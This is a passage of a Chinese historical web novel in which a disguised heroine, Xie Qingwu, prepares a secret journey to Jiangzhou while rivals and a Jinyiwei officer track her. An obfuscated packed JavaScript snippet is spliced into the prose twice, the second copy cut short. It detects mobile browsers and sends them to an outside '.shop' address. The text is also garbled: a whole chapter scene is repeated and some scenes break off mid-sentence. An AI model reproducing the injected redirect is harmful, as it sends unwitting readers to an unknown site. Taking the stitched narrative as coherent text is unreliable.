谢青梧屋里的灯也亮了一夜。 桌上摊着本林家旧账，纸页泛黄，墨迹深深浅浅。她一个字一个字看过去，指尖在“铁器”“私矿”“北边”几个词上来回摩挲，越看心越沉。 王家胆子太大了。 走私铁器是死罪，私开矿脉是死罪，若是真和北边有勾连……那是诛九族的罪。 账本里还夹着几张零散单子，记着些银钱往来，其中一条写着“腊月初八，付周氏五十两，封口”。周氏，该是乳娘。 谢青梧放下账本，走到窗边。 雪光映进屋里，照着她一夜未眠的脸。十五岁的年纪，眉眼间却已没了少女稚气，只剩一片沉静的冷。 生母林氏，江州林家大小姐。 林家二十年前败落，说是生意失败，家破人亡。可若王家真做了那些事，林家一个商贾之家，怎会突然就败了？又败得那么巧，刚好在王家的罪证可能出现的时候？ 乳娘周氏是关键。 她知道内情，甚至可能握着更直接的证据。所以谢明远才急着要找她，所以王家才要付钱封口。 “不能等了。”谢青梧轻声说。 等过了年，等春闱，等站稳脚跟？等不起。谢明远既然已经动手，就不会给她喘息的时间。王家若知道账本在她手里，更不会放过她。 南下江州，找到乳娘，拿到铁证。 然后在春闱之前，把刀架在谢明远和王家脖子上，让他们不敢妄动。 她走回桌边，铺纸研墨。 写给云知意的信不能太长，但要把意思说明白。她需要南下路线，需要江州的接应，需要有人在她离京期间，替她盯着京里的动静。 笔尖沾墨，落下第一行字。 “云姑娘台鉴：怀瑾欲南下江州，寻故人，查旧事。事关重大，需姑娘相助……” 写到这里，她停了一下。 云知意身份不明，但至今给她的帮助都是实的。账本是真的，提醒是真的，但…… 该赌一把。 信写完，封好。她叫来李婶，让她悄悄去一趟春风阁。 “就说谢公子有急信，务必亲自交到云姑娘手里。” 李婶接过信，压低声音：“公子真要南下？这大年关的……” “越快越好。”谢青梧说，“你告诉云姑娘，若方便，我想在离京前见他一面。” 李婶应声去了。 屋里又只剩谢青梧一个人。她把账本重新收好，藏在床板下的暗格里。然后开始收拾行李。 不能带太多东西。一两件换洗衣裳，几本书，一些碎银和银票。防身的药粉要带，云知意给的烟雾丸也要带。还有顾临渊的玉佩、萧玉衡的玉佩，这些信物关键时刻或许有用。 收拾到一半，她忽然想起什么，从书箱最底下翻出一本旧册子。 是生母林氏留下的诗集，扉页上有一行小字：“愿吾女此生，不必藏锋，不必屈膝，堂堂正正立于天地间。” 她看着那行字，看了很久。 然后轻轻合上册子，放进贴身的内袋里。 窗外雪渐渐小了，天光透亮起来。 谢青梧推开窗，冷风夹着雪沫扑在脸上。她深吸一口气。 南下这条路不会好走。谢明远会察觉，王家会阻拦，路上不知有多少险。 但她必须走。 不仅要走，还要走得稳，走得快，走得让所有人都措手不及。 李婶午后回来了，带回云知意的口信。 “云姑娘说，明日未时，老地方见。还说……让公子万事小心，江州的水比想的还深。” 谢青梧点点头。 她还有一天时间准备。要去公主府辞行，要去国子监告假，还要把慈济堂女学的事暂时托付给严博士。 每一件事都不能露出破绽。 傍晚时分，雪完全停了。谢青梧换上厚袍子，揣着暖手炉，出了门。 公主府的门房认得她，很快引她进去。萧玉衡正在暖阁里看书，见她来了，放下书卷。 “谢公子来得巧，我刚得了一罐好茶。” 谢青梧行礼：“殿下，学生今日来，是有事相求。” 萧玉衡挑眉：“坐下说。” 暖阁里炭火正旺，茶香袅袅。谢青梧坐下，斟酌着开口：“学生想告假离京一阵子，回乡……寻访故人，查证一些家事。” 她说得含糊，但萧玉衡何等敏锐。 “和谢家有关？还是和你生母有关？” 谢青梧沉默片刻，点头：“都有。” 萧玉衡看着她，目光深深：“谢公子，你可知你如今是什么处境？秋闱第七，国子监听讲，多少双眼睛盯着你。这个时候离京，不是明智之举。” “学生知道。”谢青梧抬眼看她，眼神平静，“但有些事，不能等。” “哪怕可能误了春闱？” “若事情办成，春闱反而更稳。” 萧玉衡怔了一下，忽然笑了：“你倒是自信。”她端起茶盏，轻轻吹了吹，“要去哪里？多久？” “江州。快则一月，慢则两月，必在春闱前回来。” “江州……”萧玉衡重复着这两个字，手指在案上敲了敲，“王家的大本营。谢公子，你去那里，真的只是寻访故人？” 谢青梧没说话。 有些话不能说透，但彼此心里都明白。 萧玉衡看了她半晌，忽然起身走到里间，不多时拿了一个锦囊出来。 “这里有些盘缠，还有一枚令牌。”她把锦囊推过去，“凭这令牌，沿途驿站可以换马歇脚，必要时也能调用当地衙役。不算多，但够你应急。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946687|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谢青梧起身要谢，被萧玉衡按住。 “不必谢我。”萧玉衡看着她，声音压低了些，“我帮你，是因为我看好你。但你也得答应我一件事。” “殿下请说。” “活着回来。”萧玉衡一字一句，“别折在江州。我还等着看你金殿夺魁，看我大燕出一个真正的寒门状元。” 谢青梧心头一热。 她郑重行礼：“学生谨记。” 从公主府出来，天已经黑了。街巷里灯笼次第亮起，映着未化的积雪，一片暖黄的光。 谢青梧走在雪地里，脚步很稳。 接下来要去国子监。告假的理由想好了，就说老家有长辈病重，需回去探望。严博士那边，得说实话，至少说一部分。 还有李慕白那几个同窗，也得打个招呼，免得他们担心。 一件事一件事来。 她抬头看了看夜空，雪后的星星格外地亮。 这条路，难走，但必须走，而且一定要走到头。 回到住处时，李婶已经备好了晚饭。简单的两菜一汤，热气腾腾。 谢青梧吃完，又坐到书桌前。 南下路线要规划，可能遇到的麻烦要预想，应对的法子要提前准备。她铺开一张纸，开始写写画画。 江州在东南，走陆路快，但容易暴露。走水路慢，但隐蔽。最好是先陆路到津门，再换船南下。 沿途经过哪些州县，哪里有驿站，哪里可能有关卡，都要记清楚。 还有身份。不能再用“谢怀瑾”这个名字，得换个假名，扮作游学的普通士子。路引云知意应该能帮忙弄到，但日常言行也得注意，不能露出破绽。 她写得专注，连炭盆里的火小了都没察觉。 直到更鼓声传来，已是二更天。 谢青梧放下笔，揉了揉发酸的手腕。纸上密密麻麻写满了字，条理清晰，步步为营。 该想的都想过了，该准备的都在准备。 剩下的，就是去做。 她吹灭灯，躺到床上。黑暗中，能听见窗外风吹过屋檐的轻响，还有远处隐约的梆子声。 明天见云知意，拿到路线和接头人。 后天去国子监告假，把慈济堂的事安排好。 大后天一早，离京。 时间很紧，但够了。 她闭上眼，脑子里却还在转。江州什么样？乳娘还认得她吗？王家到底藏着多少秘密？ 想着想着，忽然又想起生母那本诗集。 “不必藏锋，不必屈膝……” 她轻轻念着这句话，嘴角微微扬起。 快了。 等从江州回来，等拿到该拿的东西，她就可以堂堂正正地，开始走自己的路了。 窗外，最后一盏灯笼也熄了。 雪又悄悄下了起来。 22. 公主辞行 第二天未时，谢青梧准时到了春风阁。 云知意已经在雅间里等着了。桌上摊着一张图舆，旁边放着几封密信。她今日穿了件素青的袄子，发间只簪一支木钗，比平时更显利落。 “公子坐。”云知意抬手示意，声音很轻，“时间紧，我们直说。” 谢青梧在她对面坐下。 图舆画的是从京城到江州的路线，陆路水路都标得清楚，哪些路段好走，哪些地方有哨卡，哪些驿站可靠，旁边用小字密密麻麻注着。 “两条路。”云知意指尖点在图舆上，“走陆路快，十五天能到江州，但关卡多，容易被人盯上。走水路慢，要二十天往上，但隐蔽，货船人多，好藏身。” 她抬头看谢青梧：“你怎么想？” 谢青梧仔细看着图舆，沉吟片刻：“先陆路到津门，再换船南下。陆路这段我骑马，快。到津门混进货船，走漕运，不容易查。” 云知意点头：“和我想的一样。”她从旁边拿起一封信，“这是给江州绸缎庄掌柜老何的密信，他是我的人。你到了江州，去城西永昌街第三家铺子，对上暗号‘林家旧缎可还有’，他答‘只剩一匹藏蓝色’，便是接上了。” 谢青梧接过信，收进怀里。 “还有这个。”云知意又推过来一个小布包，“里面有些碎银和铜钱，路上零用。另有一瓶药，治风寒外伤的。江州潮湿，你小心身子。” 谢青梧心里一暖：“云姑娘费心了。” “不必说这些。”云知意看着她，眼神复杂，“谢公子，江州不比京城。王家在那里经营了几十年，官府、商会、甚至街头巷尾的混混，都可能和他们有牵扯。你一个外乡人，又是读书人打扮，太显眼。” “我明白。”谢青梧说，“我会小心。” 云知意沉默了一会儿，忽然问：“公主那边，你说了吗？” “说了。殿下给了令牌，准了假。” “那就好。”云知意似乎松了口气，“有公主在后面，至少京里有人替你看着。”她顿了顿，声音压得更低，“还有一件事。” 谢青梧抬眼。 “陆执那边，我探到点风声。”云知意说，“他派去江州的人还没回来，但锦衣卫的线报系统比我们快。你南下的事，他迟早会知道。” 谢青梧皱眉：“他会拦我？” “不好说。”云知意摇头，“陆执这个人，心思深。他若想拦你，早该动了。现在不动，要么是还没查到关键，要么……是另有打算。” 她看着谢青梧：“总之，你提防着些。锦衣卫的手段，你知道的。” 谢青梧点头。 从春风阁出来时，已是申时。天色有些阴，像是又要下雪。 谢青梧揣着图舆和密信，慢慢往国子监走。 严博士今日在值房。见她来了，放下手里的书：“怀瑾？有事？” 谢青梧行了一礼，把想好的说辞讲了一遍：老家有长辈病重，需回去探望，约莫一两个月，春闱前一定赶回来。 严博士听了，沉吟半晌。 “怀瑾，你秋闱刚中，正是潜心备考的时候。”他语重心长，“这时候离京，实在不是明智之举。春闱在即，多少学子闭门苦读，你这一走……” “学生知道。”谢青梧垂眼，“但长辈病重，为人晚辈，不能不孝。学生保证，路上也会温书，绝不荒废学业。” 严博士看了她好一会儿，终于叹了口气。 “罢了，你是个有主意的。”他从抽屉里拿出纸笔，写了准假条，“早去早回。功课我让李慕白他们替你记着，回来补上。” “谢先生。” 从严博士值房出来，谢青梧又去找了李慕白。 几个同窗正在斋舍里温书，见她来了，都围上来。 “怀瑾，听说你要回乡？”李慕白问。 谢青梧点头：“家里有些事，回去一趟。” “什么时候走？” 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先去慈济堂，和女学的孩子们告个别，把后面一个月的课托付给严博士找的女夫子。再去当铺把一些用不着的旧物当了，换些现钱。最后回来检查行李，早些休息。 然后就是后天一早，离京。 她闭上眼，深吸一口气。 南下这条路，难走。 但再难，也得走。 窗外风声渐起，吹得窗纸簌簌响。 谢青梧翻了个身，慢慢睡着了。 梦里依稀是江州的模样，小桥流水，青石板路，还有模糊的、记不清面容的生母。 以及，暗处随时可能伸出来的手。 23.疑心渐生 锦衣卫衙门后堂，陆执刚从宫里回来。 大氅上还沾着雪沫，他解了随手扔给亲卫，走到炭盆边烤手。屋里暖得有些燥，但他脸色还是冷的。 “大人。”门外有人低声唤。 “进。” 进来的是个穿青袍的缇骑，行礼后递上一封密报：“谢怀瑾今日去了春风阁，见了云知意。呆了约莫一个时辰。” 陆执接过密报，扫了一眼。 “说了什么？” “听不清。雅间隔音好，我们的人只在远处盯着。不过谢怀瑾出来时，怀里揣着东西，像是图舆。” 图舆。 陆执手指在桌沿敲了敲。 谢怀瑾要离京。 这个念头在他脑子里转了一圈，和之前的线索对上：去公主府辞行，去国子监告假，连慈济堂的女学都托付出去了。 走得这么急，是要去哪？ “还有，”缇骑又说，“谢明远那边也动了。他府上的管家今日悄悄去了城西，见了王家一个账房。我们的人跟过去，听见他们说……要盯紧谢怀瑾。” 陆执抬眼。 谢明远和王家。 谢怀瑾的生母林家，二十年前败在王家手里。谢明远拿这个要挟谢怀瑾，如今谢怀瑾突然要离京…… 是去找证据，还是去寻人？ 或者，两者都有。 “大人，要拦吗？”缇骑问。 陆执沉默了一会儿。 炭火噼啪响了一声。 “不拦。”他说，“派两个人，暗中跟着。别让他发现，也别让他出事。” 缇骑愣了一下：“大人，这……” “谢怀瑾这个人，”陆执看向窗外，“不简单。秋闱第七，国子监听讲，公主看重，云知意相助。一个寒门举子，哪来这么大本事？” 他顿了顿：“我倒要看看，他到底想干什么。” “是。” 缇骑退下了。 陆执坐回椅子上，拿起那封密报又看了一遍。谢怀瑾三个字写得工整，下面列着这几日的行踪：公主府，春风阁，国子监，慈济堂。 每一步都走得稳，也走得急。 像是背后有什么在追，又像是前面有什么在等。 他忽然想起那日在八仙楼外，雪地里，谢怀瑾回头看他那一眼。 平静，清醒，藏着东西。 当时只觉得这少年心思深，如今看来，恐怕比他想的还要深。 门外又有人来报。 “大人，江州那边的飞鸽传书到了。” 陆执接过小竹筒，倒出里面的纸条。展开一看，眉头就皱了起来。 江州锦衣卫报：王家近半年动作频繁，私矿又开了两处。另，有人在暗中打听一个姓周的老妇人，说是京城来的，现居周家村。 周氏。 谢怀瑾的乳娘。 陆执放下纸条，闭上眼睛。 所有线索都连上了。 谢怀瑾要去江州，找乳娘，查王家，翻二十年前的旧案。一个十五岁的少年，单枪匹马，要去碰江州的地头蛇。 胆子真大。 也真不要命。 他睁开眼，提笔写了两行字，装进另一个竹筒。 “传令江州卫所，留意一个叫谢怀瑾的举子。若有危险，暗中护着，别让他死了。” 顿了顿，又加一句：“别让他知道。” 亲卫接过竹筒，快步出去了。 屋里又静下来。 陆执走到窗边，推开一条缝。冷风灌进来，吹散了屋里的燥热。 雪还在下，细细密密的。 他忽然想起自己十五岁的时候，刚进锦衣卫，也是天不怕地不怕，觉得凭一把刀就能闯天下。 后来才知道，这世上的事，不是光有胆子就够的。 谢怀瑾有胆子，也有脑子。 但江州那潭水，太深了。 他关上门，走回案前。桌上堆着还没批完的卷宗，都是各地的密报，一条条，一件件，织成一张看不见的网。 谢怀瑾正往网里走。 而他，在网外看着。 谢府书房，谢明远也在看密报。 王管家垂手站在下面，大气不敢出。 “走了？”谢明远抬眼，眼神阴沉。 “是，少爷。谢怀瑾后日一早就走，说是回老家探亲。”王管家低声说，“但小人打听过了，他老家早就没人了。探什么亲？” 谢明远冷笑。 “探亲是假，南下是真。”他把密报扔在桌上，“王家那边怎么说？” “王家老爷说，让咱们务必盯紧，弄清楚他去哪，干什么。江州那边，他们也会布置。” 谢明远点点头，手指在桌上敲着。 谢怀瑾突然离京，绝不是什么好事。这小子精得很，每一步都有算计。这次南下，肯定是冲着林家的事去的。 乳娘周氏还在江州。 要是让谢怀瑾找到她，问出当年的事…… 谢明远心里一紧。 不行，不能让他得逞。 “派两个人，跟着他。”他说，“不用跟太近，弄清楚他去哪就 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她正在屋里检查最后一遍行李。图舆贴身放着，密信藏好了，银子分了三处，药瓶放在随手能拿到的地方。 一切都准备好了。 李婶红着眼眶站在门口：“公子，明早我给您煮碗面，吃了再走。” “好。”谢青梧笑笑，“李婶，你也早点歇着。” 夜深了。 谢青梧吹灭灯，躺在床上。眼睛闭着，脑子却清醒得很。 南下这条路，每一步都得算好。 从京城到津门，骑马三天。津门换船，顺漕运南下，大概十五天到江州。加起来，最快十八天。 十八天里，不能出一点差错。 谢明远肯定会派人盯梢，得想办法甩掉。王家在沿途可能有耳目，得小心避开。还有陆执，锦衣卫的线报系统厉害，说不定已经知道了。 她翻了个身，手摸到枕下的匕首。 冰冷的刀鞘，贴着掌心。 这是云知意给她的，说防身用。 希望用不上。 窗外风声紧了，吹得屋檐上的雪簌簌往下掉。 谢青梧听着那声音，慢慢闭上眼睛。 明天一早，天一亮就走。 离开京城，离开这些盯着她的眼睛，去江州，去找真相。 也去找一条，真正属于她的路。 24.辞别师友 第二天未时，谢青梧准时到了春风阁。 云知意已经在雅间里等着了。桌上摊着一张图舆，旁边放着几封密信。她今日穿了件素青的袄子，发间只簪一支木钗，比平时更显利落。 “公子坐。”云知意抬手示意，声音很轻，“时间紧，我们直说。” 谢青梧在她对面坐下。 图舆画的是从京城到江州的路线，陆路水路都标得清楚，哪些路段好走，哪些地方有哨卡，哪些驿站可靠，旁边用小字密密麻麻注着。 “两条路。”云知意指尖点在图舆上，“走陆路快，十五天能到江州，但关卡多，容易被人盯上。走水路慢，要二十天往上，但隐蔽，货船人多，好藏身。” 她抬头看谢青梧：“你怎么想？” 谢青梧仔细看着图舆，沉吟片刻：“先陆路到津门，再换船南下。陆路这段我骑马，快。到津门混进货船，走漕运，不容易查。” 云知意点头：“和我想的一样。”她从旁边拿起一封信，“这是给江州绸缎庄掌柜老何的密信，他是我的人。你到了江州，去城西永昌街第三家铺子，对上暗号‘林家旧缎可还有’，他答‘只剩一匹藏蓝色’，便是接上了。” 谢青梧接过信，收进怀里。 “还有这个。”云知意又推过来一个小布包，“里面有些碎银和铜钱，路上零用。另有一瓶药，治风寒外伤的。江州潮湿，你小心身子。” 谢青梧心里一暖：“云姑娘费心了。” “不必说这些。”云知意看着她，眼神复杂，“怀瑾，江州不比京城。王家在那里经营了几十年，官府、商会、甚至街头巷尾的混混，都可能和他们有牵扯。你一个外乡人，又是读书人打扮，太显眼。” “我明白。”谢青梧说，“我会小心。” 云知意沉默了一会儿，忽然问：“公主那边，你说了吗？” “说了。殿下给了令牌，准了假。” “那就好。”云知意似乎松了口气，“有公主在后面，至少京里有人替你看着。”她顿了顿，声音压得更低，“还有一件事。” 谢青梧抬眼。 “陆执那边，我探到点风声。”云知意说，“他派去江州的人还没回来，但锦衣卫的线报系统比我们快。你南下的事，他迟早会知道。” 谢青梧皱眉：“他会拦我？” “不好说。”云知意摇头，“陆执这个人，心思深。他若想拦你，早该动了。现在不动，要么是还没查到关键，要么……是另有打算。” 她看着谢青梧：“总之，你提防着些。锦衣卫的手段，你知道的。” 谢青梧点头。 从春风阁出来时，已是申时。天色有些阴，像是又要下雪。 谢青梧揣着图舆和密信，慢慢往国子监走。 严博士今日在值房。见她来了，放下手里的书：“怀瑾？有事？” 谢青梧行了一礼，把想好的说辞讲了一遍：老家有长辈病重，需回去探望，约莫一两个月，春闱前一定赶回来。 严博士听了，沉吟半晌。 “怀瑾，你秋闱刚中，正是潜心备考的时候。”他语重心长，“这时候离京，实在不是明智之举。春闱在即，多少学子闭门苦读，你这一走……” “学生知道。”谢青梧垂眼，“但长辈病重，为人晚辈，不能不孝。学生保证，路上也会温书，绝不荒废学业。” 严博士看了她好一会儿，终于叹了口气。 “罢了，你是个有主意的。”他从抽屉里拿出纸笔，写了准假条，“早去早回。功课我让李慕白他们替你记着，回来补上。” “谢先生。” 从严博士值房出来，谢青梧又去找了李慕白。 几个同窗正在斋舍里温书，见她来了，都围上来。 “怀瑾，听说你要回乡？”李慕白问。 谢青梧点头：“家里有些事，回去一趟。” “什么时候走？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢青梧翻了个身，慢慢睡着了。 梦里依稀是江州的模样，小桥流水，青石板路，还有模糊的、记不清面容的生母。 以及，暗处随时可能伸出来的手。